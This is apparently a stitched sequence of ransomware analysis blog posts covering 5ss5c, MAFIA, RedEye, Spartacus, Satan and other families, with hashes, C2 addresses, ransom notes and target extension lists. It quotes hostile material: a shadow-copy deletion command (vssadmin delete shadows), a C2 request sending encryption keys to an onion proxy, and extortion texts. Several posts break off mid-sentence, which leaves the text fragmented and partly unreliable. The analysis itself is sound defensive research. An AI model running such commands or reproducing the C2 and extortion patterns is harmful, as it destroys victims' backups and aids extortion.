The cybercrime group that brought us Satan, DBGer and Lucky ransomware and perhaps Iron ransomware, has now come up with a new version or rebranding named "5ss5c".

In a previous blog post, Satan ransomware adds EternalBlue exploit, I described how the group behind Satan ransomware has been actively developing its ransomware, adding new functionalities (specifically then: EternalBlue) and techniques with each run. Then, it appeared the group halted operations on at least the ransomware front for several months.

However, as it turns out, the group has been working on new ransomware - 5ss5c - since at least November 2019.

The following tweet got my attention:

🧐Unknown #Ransomware captured tonight from #China, Encrypt only compressed files.
Email：5ss5c@mail.ru
ext：.5ss5c
IP：61.186.243.2 58.221.158.90@demonslay335 @Amigo_A_ @GrujaRS @BleepinComputer @Rmy_Reserve @VK_Intel pic.twitter.com/dTdgnMfoLX

— onion (@jishuzhain) January 12, 2020

After some quick checks, it appears this is a downloader for the 5ss5c ransomware, which is extremely reminiscent of how Satan ransomware operated:

Figure 1 - 5ss5c downloader

The malware will leverage certutil and even contains logging:

Figure 2 - certutil logging

It will download and leverage:

• Spreader (EternalBlue and hardcoded credentials);
• Mimikatz and what appears another password dumper/stealer;
• The actual ransomware.

Figure 3 - Hardcoded creds

For example, the following folders belonging to Qihoo 360 (an internet security company based in China also offering antivirus) were already excluded in Satan and DBGer ransomware:

• 360rec
• 360sec
• 360sand

While these are new in 5ss5c ransomware:

• 360downloads
• 360safe

As in previous iterations, 5ss5c ransomware will stop database-related services and processes.

It will however only encrypt files with the following extensions:

7z, bak, cer, csv, db, dbf, dmp, docx, eps, ldf, mdb, mdf, myd, myi, ora, pdf, pem, pfx, ppt, pptx, psd, rar, rtf, sql, tar, txt, vdi, vmdk, vmx, xls, xlsx, zip

This extension list is not like before, and includes mostly documents, archives, database files and VMware-related extensions such as vmdk.

The ransomware will then create the following URI structure to communicate with the C2 server (61.186.243[.]2):

• /api/data.php?code=
• &file=
• &size=
• &status=
• &keyhash=

Figure 5 - ransom note

部分文件已经被加密
如果你想找回加密文件,发送 (1) 个比特币到我的钱包
从加密开始48小时之内没有完成支付,解密的金额会发生翻倍.
如果有其他问题,可以通过邮件联系我

您的解密凭证是 :
Email:[5ss5c@mail.ru]

A new ransomware family was discovered and sent to me by MalwareHunterTeam, which we'll call MAFIA due to the extension it uses to encrypt files. The ransomware appears to target users in Korea, and may have been developed with at least knowledge of the Korean language.

Another interesting (and new to me) feature is the use of "Onion.Pet", a Tor proxy as a means for C2 (network) communication. Read the analysis below to find out more details on this ransomware. (not to be confused with MafiaWare, a Hidden Tear variant - the MAFIA ransomware described here is unique).


Analysis

It's currently unknown how the MAFIA ransomware reaches a system, but it's likely delivered via spear-phishing, rather than a manual installation. The binary analysed here has the following properties:

Properties:

• MD5: da23c8a7be5d83ae3e6b7b3291fdb880
• SHA1: 419a00476e229f4b2fc85ffd54ed1e32b03c069d
• SHA256: d6dee35981698416804548185f09af9c27987a0423e35bffd5b543c50fb9b5e3
• Compilation timestamp: 2018-08-02 15:11:23
• VirusTotal report:
  d6dee35981698416804548185f09af9c27987a0423e35bffd5b543c50fb9b5e3

sc stop AppCheck

Ransomware usually stops database processes, for it to be able to also encrypt database-files which may be in use by said processes. However, in this case, AppCheck is actually a service which belongs to an anti-ransomware product from South-Korea. Figure 1 shows a screenshot of its website.

Figure 1 - "100% Signatureless Anti-Ransomware" - https://www.checkmal.com/?lang=en

As for the effectiveness of this software: no idea, but the author deemed it important enough to include it, so either it has proven it works, or it is used by a lot of users and businesses.

The author of the MAFIA ransomware has also left a debug path, which mentions the name "Jinwoo" ("진우" in Korean), and may be an indicator of the developer's nationality.

MAFIA makes use of OpenSSL to encrypt files, which it does with AES-256 in CBC mode. As mentioned earlier, encrypted files will obtain the ".MAFIA" extension. For example; Penguins.jpg becomes Penguins.jpg.MAFIA.

Files with the following extensions (300 in total) will be encrypted:

.3dm, .3ds, .3fr, .3g2, .3gp, .3pr, .ab4, .accdb, .accde, .accdr, .accdt, .ach, .acr, .act, .adb, .ads, .agdl, .ait, .apj, .arw, .asf, .asm, .asp, .asx, .avi, .back, .backup, .backupdb, .bak, .bank, .bay, .bdb, .bgt, .bik, .bkp, .bkp, .blend, .bpw, .cdf, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdx, .ce1, .ce2, .cer, .cfp, .cgm, .cib, .class, .cls, .cmt, .cpi, .cpp, .cr2, .craw, .crt, .crw, .csh, .csl, .csv, .dac, .db-journal, .db3.dbf, .dc2, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .der, .des, .design, .dgc, .djvu, .dng, .doc, .docm, .docx, .dot, .dotm, .dotx, .drf, .drw, .dtd, .dwg, .dxb, .dxf, .dxg, .eml, .eps, .erbsql, .erf, .exf, .fdb, .ffd, .fff, .fhd, .fla, .flac, .flv, .fpx, .fxg, .gray, .grey, .gry, .hbk, .hpp, .ibank, .ibd, .ibz, .idx, .iif, .iiq, .incpas, .indd, .java, .jpe, .jpeg, .jpg, .kc2, .kdbx, .kdc, .key, .kpdx, .lua, .m4v, .max, .mdb, .mdc, .mdf, .mef, .mmw, .moneywell, .mos, .mov, .mp3, .mp4, .mpg, .mrw, .msg, .myd, .ndd, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .nwb, .nx2, .nx1, .nyf, .oab, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .oil, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p12, .p7b, .p7c, .pab, .pages, .pas, .pat, .pcd, .pct, .pdb, .pdd, .pdf, .pef, .pem, .pfx, .php, .plc, .pot, .potm, .potx, .ppam, .pps, .ppsm, .ppsx, .ppt, .pptm, .pptx, .prf, .psafe3, .psd, .pspimage, .pst, .ptx, .qba, .qbb, .qbm, .qbr, .qbw, .qbx, .qby, .r3d, .raf, .rar, .rat, .raw, .rdb, .rtf, .rw2, .rw1, .rwz, .s3db, .sas7bdat, .say, .sd0, .sda, .sdf, .sldm, .sldx, sqlite, .sqlite3, .sqlitedb, .srf, .srt, .srw, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stw, .stx, .svg, .swf, .sxc, .sxd, .sxg, .sxi, .sxm, .sxw, .tex, .tga, .thm, .tlg, .txt, .vob, .wallet, .wav, .wb2, .wmv, .wpd, .wps, .xll, .x3f, .xis, .xla, .xlam, .xlk, .xlm, .xlr, .xls, .xlsb, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .ycbcra, .yuv, .zip, .alz, .jar, .png, .bmp, .a00, .gif, .egg

Note: because the MAFIA ransomware uses OpenSSL for encryption, the process is slow, and the user may be able to interrupt it by killing the process (typically named winlogin.exe), or by shutting down the machine.

Figure 2 shows a side-by-side visual representation of the original (left) and encrypted image (right).

Figure 2 - Comparison (the blue represents ASCII strings)

MAFIA will also create a ransom note in HTML named "Information" in the same location as the original dropper. Ironically enough, the ransom note will also have the ".mafia" extension appended - the file will not be encrypted however.

Figure 3 shows the ransom note, in a browser.

Figure 3 - Ransom note

The text translates from Korean ("고유넘버") as "Unique number", and appears to contain two unique identifiers.

As mentioned earlier, MAFIA will use a Tor proxy for C2 communication; an example request is as follows:

GET /mafiaEgnima.php?iv=0x9e0x4b0x410x5c0x480x3a0xf40x90x2f0xfa0x960xb90x9b0x830xd40xb7&key=0xb90x1e0x600x3d0xef0x6c0xe60x930x6d0xab0x420x7b0x50x350xf00xcd0x3c0x490xc30x5f0xa10xe0xda0x270x5d0xd50xd10xa40xc0x9f0x340x79&seq=cbdf395c9281ae2ec52a306b5c29ec5 HTTP/1.1
Host: wibkilmskir4rlxz.onion.pet
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36

It appears the ransomware tries to send out an encryption key and IV using an HTTP GET request, which could make it possible to decrypt files, granted the network traffic is inspected at that point.

There's several other binaries of MAFIA out there, such as:

f4b25591ae53504ef5923344a9f03563
da23c8a7be5d83ae3e6b7b3291fdb880
0776e348313c7680db86ed924cff10b8
6487edd9b1e7cf6be4a9b1ac57424548
119228fb8f4333b1c10ff03543c6c0ea

A rather anonymous account reached out to me on Twitter asking to check out a "scary & really nasty" sample.

It turned out to be RedEye ransomware, a new strain or variant by the same creator of Annabelle ransomware, which I discovered in February earlier this year.


Analysis

This ransomware is named "RedEye" by the author "iCoreX".














Properties:

• MD5: 832090ba6fe32a3c7c36dbd76f270215
• SHA1: 804b8e85f38de8b82a961401836ccec5880342e6
• SHA256: 1a8b7a6547b743ea01bb0ac057c91228c10dc8f99562ce2b06e25893161776bb
• Compilation timestamp: 2018-05-03 10:04:35
• VirusTotal report:
  1a8b7a6547b743ea01bb0ac057c91228c10dc8f99562ce2b06e25893161776bb

Figure 1 - RedEye Ransomware

All your personal files has been encrypted with an very strong key by RedEye!
(Rijndael-Algorithmus -  AES - 256 Bit)
The only way to get your files back is:
- Go to http://redeye85x9tbxiyki.onion/tbxIyki - Enter your Personal ID
and pay 0.1 Bitcoins to the adress below! After that you need to click on
 "Check Payment". Then you will get a special key to unlock your computer.
You got 4 days to pay, when the time is up,
then your PC will be fully destroyed!

• Show encrypted files
• Decrypt files
• Support
• Destroy PC

Figure 2 - MBR lock screen

The message reads as follows:

RedEye Terminated your computer! 

The reason for that could be:
- The time has expired
- You clicked on the 'Destroy PC' button 

There is no way to fix your PC! Have Fun to try it :)

My YouTube Channel: iCoreX ->Add me on discord!iCoreX#3333 ->

The author, iCoreX, claims to have created Jigsaw, Annabelle, and now the RedEye ransomware - whether the former is true or not, I'll leave in the middle.

Details on the ransomware:

Extension: .RedEye
BTC Wallet: 1JSHVxXnGDydVXVamFW9AEmk3vk8cF8Vuj
Payment portal: (currently offline): http://redeye85x9tbxiyki[.]onion

In this quick blog post we'll have a look at BKRansomware, a Vietnamese ransomware that wants you to top up its phone.

Update: 2018-05-06, scroll down for the update, added to the conclusion.


Analysis

This ransomware is named "BKRansomware" based on the file name and debug path. Properties:

• MD5: 892da86e60236c5aaf26e5025af02513
• SHA1: 6f36c02161a83a3683921fc73319474157f4fb92
• SHA256: c23f695a19346bf3a5b21fb5a281771808953930d8dcb0a359f163ba0329305f
• Compilation timestamp: 2018-05-03 10:04:35
• VirusTotal report:
  c23f695a19346bf3a5b21fb5a281771808953930d8dcb0a359f163ba0329305f

Figure 1 - Ransom message

The ransomware message is very brief, and displays:

C:\Users\Gaara\Documents\Visual Studio 2013\Projects\BKRansomware-20180503T093651Z-001\BKRansomware\Release\BKRansomware.pdb

Ransomnix is a (supposedly Jigsaw, but not really) ransomware variant that holds websites for ransom, and encrypts any files associated with the website.

This ransomware was discovered in the second half of 2018, and there's a brief write-up by Amigo-A here as well: Ransomnix ransomware

In this blog post, we'll discuss a newer variant.


Analysis

Several encrypted websites were discovered, which display the following message:

Figure 1 - Ransom message, part 1

Figure 2 - Ransom message, part 2

The full message is as follows:

Today, MalwareHunterTeam reached out to me about a possible new variant of Satan ransomware.

Satan ransomware itself has been around since January 2017 as reported by Bleeping Computer.

In this blog post we'll analyse a new version of the infamous Satan ransomware, which since November 2017 has been using the EternalBlue exploit to spread via the network, and consequently encrypt files.

Analysis

First up is a file inconspicuously named "sts.exe", which may refer to "Satan spreader".

• MD5: 12bc52fd9da66db3e63bfb196ceb9be6
• SHA1: 4508e3442673c149b31e3fffc29cc95f834975bc
• SHA256: b686cba1894f8ab5cec0ce5db195022def00204f6cd143a325608ec93e8b74ee
• Compilation timestamp: 2018-04-14 06:33:08
• VirusTotal report:
  b686cba1894f8ab5cec0ce5db195022def00204f6cd143a325608ec93e8b74ee

Figure 1 - download and extract two new files

Figure 2 - UAC prompt

Client.exe (94868520b220d57ec9df605839128c9b) is, as mentioned earlier, an SFX archive and will hold the actual Satan ransomware, named "Cryptor.exe". Figure 2 shows the command line options.

Figure 3 - End of setup screen

ms.exe (770ddc649b8784989eed4cee10e8aa04) on the other hand will drop and load the EternalBlue exploit, and starts scanning for vulnerable hosts. Required files will be dropped in the C:\ProgramData folder, as seen in Figure 3. Note it uses a publicly available implementation of the exploit - it does not appear to use its own.

windows, python2, python3, microsoft games, boot, i386, ST_V22, intel, dvd maker, recycle, libs, all users, 360rec, 360sec, 360sand, favorites, common files, internet explorer, msbuild, public, 360downloads, windows defen, windows mail, windows media pl, windows nt, windows photo viewer, windows sidebar, default user

Figure 6 - Ransom note

In this blog post, we'll analyse Spartacus, one of many new ransomware families popping up in 2018.


Analysis

This instance of Spartacus ransomware has the following properties:

• MD5; 25dee2e70c931f3fa832a5b189117ce8
• SHA1; a01294ffd541229718948e17f791694efb596123
• SHA256; ef25bdbcf05fa478df3ddc5f4f717c070e443da04cfc590d44409c815f237cb3
• Compilation timestamp: 2018-01-19 20:36:44
• VirusTotal report:
  ef25bdbcf05fa478df3ddc5f4f717c070e443da04cfc590d44409c815f237cb3

Figure 1 - Spartacus ransomware message

The message reads:

All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us the e-mail:
MastersRecovery@protonmail.com and send personal ID KEY:
In case of no answer in 24 hours us to theese e-mail: MastersRecovery@cock.li

The user may send up to 5 files for free decryption, as "guarantee". There's also a warning message at the end of the ransomware screen:

Do not rename encrypted files.
Do not try decrypt your data using party software, it may cause permanent data loss.
Decryption of your files with the help of thrid parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Spartacus will encrypt files, regardless of extension, in the following folders:

Figure 2 - Target folders to encrypt

Generating the key:

Figure 3 - KeyGenerator

As far as I'm aware, Spartacus is the first ransomware who explicitly asks you to send the public key (ID KEY), rather than just sending an email, including the Bitcoin address straight away, or sending the key automatically.

Encrypted files will get the extension appended as follows:
.[MastersRecovery@protonmail.com].Spartacus 

For example:
 Penguins.jpg.[MastersRecovery@protonmail.com].Spartacus

It will also drop the ransomware note, "READ ME.txt" in several locations, such as the user's Desktop:

All your data has been locked us. You want to return? Write email MastersRecovery@protonmail.com or MastersRecovery@cock.li Your personal ID KEY: DvQ9/mvfT3I7U847uKcI0QU3QLd+huv5NOYT2YhfiySde0vhmkzyTtRPlcu73BAJILIPdALjAIy5NLxBHckfyV2XS+GXdjlHMx2V/VEfj4BrZkLB3BQtEdAqS1d2yzb/2+AqTNjsRfZ99ZWVxUZO3AeEZk5h0+3hNM5GogUN2oV5zHkbMZuDaXZxQr56r8UKnW7gmSycdcJh2ueZMuEP1tAuuzdZYgmZ05x9ZT8FX9HIo03rwsi6UiJlgUTZCkiilZjxYyG+qVE+Gjk4H7dnXbQP1PC3k2WICA9R4TYb9SCdv8U/e5sxbuKAbJgEZ114liwHLasmLvQfKYSbxMlbEg==

Interestingly enough, Spartacus also embeds what appears to be a hardcoded and private RSA key:

AQABxA4fTMirLDPi4rnQUX1GNvHC41PZUR/fDIbHnNBtpY0w2Qc4H2HPaBsKepU33RPXN5EnwGqQ5lhFaNnLGnwYjo7w6OCkU+q0dRev14ndx44k1QACTEz4JmP9VGSia6SwHPbD2TdGJsqSulPkK7YHPGlvLKk4IYF59fUfhSPiWleURYiD50Ll2YxkGxwqEYVSrkrr7DMnNRId502NbxrLWlAVk/XE2KLvi0g9B1q2Uu/PVrUgcxX+4wu9815Ia8dSgYBmftxky427OUoeCC4jFQWjEJlUNE8rvQZO5kllCvPDREvHd42nXIBlULvZ8aiv4b7NabWH1zcd2buYHHyGLQ==

Spartacus will delete Shadow Volume Copies by issuing the following command:

cmd.exe /c vssadmin.exe delete shadows /all /quiet

A unique mutex of "Test" will be created in order to not run the ransomware twice, and Spartacus will also continuously keep the ransomware screen or message from running in the foreground or on top, using the SetForegroundWindow function:

Figure 4 - Ransom will stay on top and annoy the user

Repeating, email addresses used are:

MastersRecovery@protonmail.com
MastersRecovery@cock.li

Decryption may be possible if the ransomware is left running, by extracting the key from memory.


Conclusion

Spartacus is again another ransomware family or variant popping up.

Figure 5 - Meme

Make sure to read the dedicated page on ransomware prevention to prevent Spartacus or any other  ransomware.



IOCs

CryptoWire is an "open-source" ransomware based on the AutoIT scripting language, and has been around since 2016. For some background, read the following post on Bleeping Computer:
"Proof of Concept" CryptoWire Ransomware Spawns Lomix and UltraLocker Families

I already encountered a CryptoWire variant last year, when it was used to target users in Brazil:
Ransomware, fala sério!

In this blog post, we'll briefly analyse another, recent, CryptoWire sample.

Analysis

This CryptoWire variant has the following properties:

• MD5: f6d01e72a58a8bdf14f9a103250f779e
• SHA1: 3b97bac22a04282ebbaef60beb168a41e4449239
• SHA256: 4deff7d8434583ea8e5c3ef9b4c64674dfb165b1720ddf63b5abdd8ed6a7399c
• Compilation timestamp: 2018-04-10 16:00:12
• VirusTotal report:
  4deff7d8434583ea8e5c3ef9b4c64674dfb165b1720ddf63b5abdd8ed6a7399c

Figure 1 - Typical CryptoWire layout

In this post, we'll take a quick look at a possible new ransomware variant, which appears to be the latest version of Maktub ransomware, also known as Maktub Locker.

Hasherazade from Malwarebytes has, as per usual, written an excellent blog on Maktub Locker in the past, if you wish to learn more: Maktub Locker – Beautiful And Dangerous

Update - 2018-04-14: Read the conclusion at the end of this post to learn more about how Iron ransomware mimicked at least three different ransomware families.


Analysis

A file was discovered, named ado64 with the following properties:

• MD5: 1e60050db59e3d977d2a928fff3d34a6
• SHA1: f51bab89b4e4510b973df8affc2d11a4476bd5be
• SHA256: 19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770
• Compilation timestamp: 2018-04-05 03:47:19
• VirusTotal report:
  19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770

Figure 1 - Lock screen/warning

Email address: recoverfile@mail2tor.com